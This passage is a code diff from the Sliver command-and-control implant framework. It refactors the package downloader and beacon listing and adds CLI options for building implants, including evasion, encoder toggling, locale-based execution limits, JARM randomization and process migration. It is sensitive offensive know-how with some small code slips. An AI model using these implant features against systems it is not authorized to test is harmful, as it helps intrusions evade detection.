-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, err
 	}
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, errors.New("api returned non-200 status code")
+		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 	var sigData []byte
 	for _, asset := range release.Assets {
 		if asset.Name == armoryIndexFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			armoryIndexData, err = ioutil.ReadAll(resp.Body)
+			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
 		}
 		if asset.Name == armoryIndexSigFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			sigData, err = ioutil.ReadAll(resp.Body)
+			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, errors.New("invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{}
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
+	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
 		return nil, err
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 }
 
 // GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, nil, errors.New("api returned non-200 status code")
+		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 	var tarGz []byte
 	for _, asset := range release.Assets {
 		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			var body []byte
-			body, err = ioutil.ReadAll(resp.Body)
+			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 			}
 		}
 		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			tarGz, err = ioutil.ReadAll(resp.Body)
+			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 //
 
 // GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
 	if err != nil {
 		return nil, nil, err
 	}
-	client := httpClient(clientConfig)
 
 	sigURL, err := url.Parse(armoryPkg.RepoURL)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
 	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-	sigResp, err := client.Get(sigURL.String())
+
+	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
+	noAuth := &assets.ArmoryConfig{
+		Authorization: "",
+	}
+	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
 	if err != nil {
 		return nil, nil, err
 	}
-	defer sigResp.Body.Close()
-	if sigResp.StatusCode != http.StatusOK {
-		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
-	}
-	var body []byte
-	body, err = ioutil.ReadAll(sigResp.Body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
-	}
+
 	sig, err := parsePkgMinsig(body)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
 			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 		}
 		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGzResp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer tarGzResp.Body.Close()
-		if tarGzResp.StatusCode != http.StatusOK {
-			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
-		}
-		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
-		}
 	}
 
 	return sig, tarGz, nil
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 		},
 	}
 }
+
+func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
+	client := httpClient(clientConfig)
+	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if len(extraHeaders) > 0 {
+		for key := range extraHeaders {
+			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
+		}
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+
+	body, err := ioutil.ReadAll(resp.Body)
+	return resp, body, err
+}
+
+func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
+	downloadHdr := http.Header{
+		"Accept": {"application/octet-stream"},
+	}
+	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
+	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
+		return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
+	}
+
+	return body, err
+}

client/command/beacons/beacons.go

@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -127,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"ID",
 			"Name",
 			"Transport",
+			"Hostname",
 			"Username",
 			"Operating System",
 			"Last Check-in",
@@ -141,42 +144,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}
 
-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
 
-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,18 +157,20 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct

client/command/beacons/helpers.go

@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 		return nil, ErrNoBeacons
 	}
 	for _, beacon := range beacons.Beacons {
-		if beacon.ID == beaconID {
+		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
 			return beacon, nil
 		}
 	}

client/command/beacons/watch.go

@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func waitForInput() <-chan bool {
-	done := make(chan bool)
+	done := make(chan bool, 1)
 	go func() {
 		defer close(done)
 		fmt.Scanf("\n")

client/command/builders/builders.go

@@ -0,0 +1,71 @@
+package builders
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// BuildersCmd - List external builders
+func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if len(builders.Builders) == 0 {
+		con.PrintInfof("No external builders connected to server\n")
+	} else {
+		PrintBuilders(builders.Builders, con)
+	}
+}
+
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
+	})
+	for _, builder := range externalBuilders {
+
+		targets := []string{}
+		for _, target := range builder.Targets {
+			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
+		}
+
+		row := table.Row{
+			builder.Name,
+			builder.OperatorName,
+			strings.Join(builder.Templates, ", "),
+			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
+			strings.Join(targets, "\n"),
+		}
+		tw.AppendRow(table.Row(row))
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/commands.go

@@ -23,7 +23,7 @@ package command
 
 	Guidelines when adding a command:
 
-		* Try to reuse the same short/long flags for the same paramenter,
+		* Try to reuse the same short/long flags for the same parameter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,6 +41,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
+	"github.com/bishopfox/sliver/client/command/builders"
 	"github.com/bishopfox/sliver/client/command/completers"
 	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
@@ -66,6 +67,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
+	"github.com/bishopfox/sliver/client/command/rportfwd"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -456,6 +458,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
+			f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -482,6 +485,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
 			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
 			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
+			f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -517,7 +521,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -717,6 +720,28 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	tasksCmd.AddCommand(&grumble.Command{
+		Name:     consts.CancelStr,
+		Help:     "Cancel a pending beacon task",
+		LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
+			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("id", "beacon task ID", grumble.Default(""))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			tasks.TasksCancelCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(tasksCmd)
 
 	// [ Use ] --------------------------------------------------------------
@@ -878,6 +903,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
+		Completer: func(prefix string, args []string) []string {
+			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -1177,10 +1205,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			con.Println()
 			return nil
 		},
-		Args: func(a *grumble.Args) {
-			a.Uint("pid", "pid")
-		},
 		Flags: func(f *grumble.Flags) {
+			f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
+			f.Uint("p", "pid", 0, "process id to migrate into")
+			f.String("n", "process-name", "", "name of the process to migrate into")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1270,6 +1298,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("P", "password", "", "SSH user password")
 			f.String("l", "login", "", "username to use to connect")
 			f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
+			f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
+			f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
+			f.String("r", "kerberos-realm", "", "Kerberos realm")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1291,8 +1322,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.String("O", "debug-file", "", "path to debug output")
+			f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1318,6 +1353,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1348,8 +1384,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.String("O", "debug-file", "", "path to debug output")
+			f.Bool("e", "evasion", false, "enable evasion features  (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1375,6 +1415,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1471,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "directory/file to the binary to")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1499,8 +1541,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
+			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1518,6 +1562,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1527,6 +1573,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1556,12 +1603,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int64("M", "minutes", 0, "beacon interval minutes")
 			f.Int64("S", "seconds", 60, "beacon interval seconds")
 			f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			// Generate flags
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
+			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
 
@@ -1581,6 +1630,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1590,6 +1641,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1920,6 +1972,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("4", "ip4", true, "display information about IPv4 sockets")
 			f.Bool("6", "ip6", false, "display information about IPv6 sockets")
 			f.Bool("l", "listen", false, "display information about listening sockets")
+			f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverHelpGroup,
@@ -1938,6 +1991,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "print-cmdline", false, "print command line arguments")
 			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
 			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.Bool("T", "tree", false, "print process tree")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2000,9 +2054,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Run a new process in the context of the designated user (Windows Only)",
 		LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
+			f.String("u", "username", "", "user to impersonate")
 			f.String("p", "process", "", "process to start")
 			f.String("a", "args", "", "arguments for the process")
+			f.String("d", "domain", "", "domain of the user")
+			f.String("P", "password", "", "password of the user")
+			f.Bool("s", "show-window", false, `
+			Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
+			f.Bool("n", "net-only", false, "use ")
 			f.Int("t", "timeout", 30, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2074,6 +2133,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("u", "username", "", "username of the user to impersonate")
 			f.String("p", "password", "", "password of the user to impersonate")
 			f.String("d", "domain", "", "domain of the user to impersonate")
+			f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -2085,6 +2145,70 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChmodStr,
+		Help:     "Change permissions on a file or directory",
+		LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("r", "recursive", false, "recursively change permissions on files")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("path", "path to the file to remove")
+			a.String("mode", "file permissions in octal, e.g. 0644")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChmodCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChownStr,
+		Help:     "Change owner on a file or directory",
+		LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("r", "recursive", false, "recursively change permissions on files")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
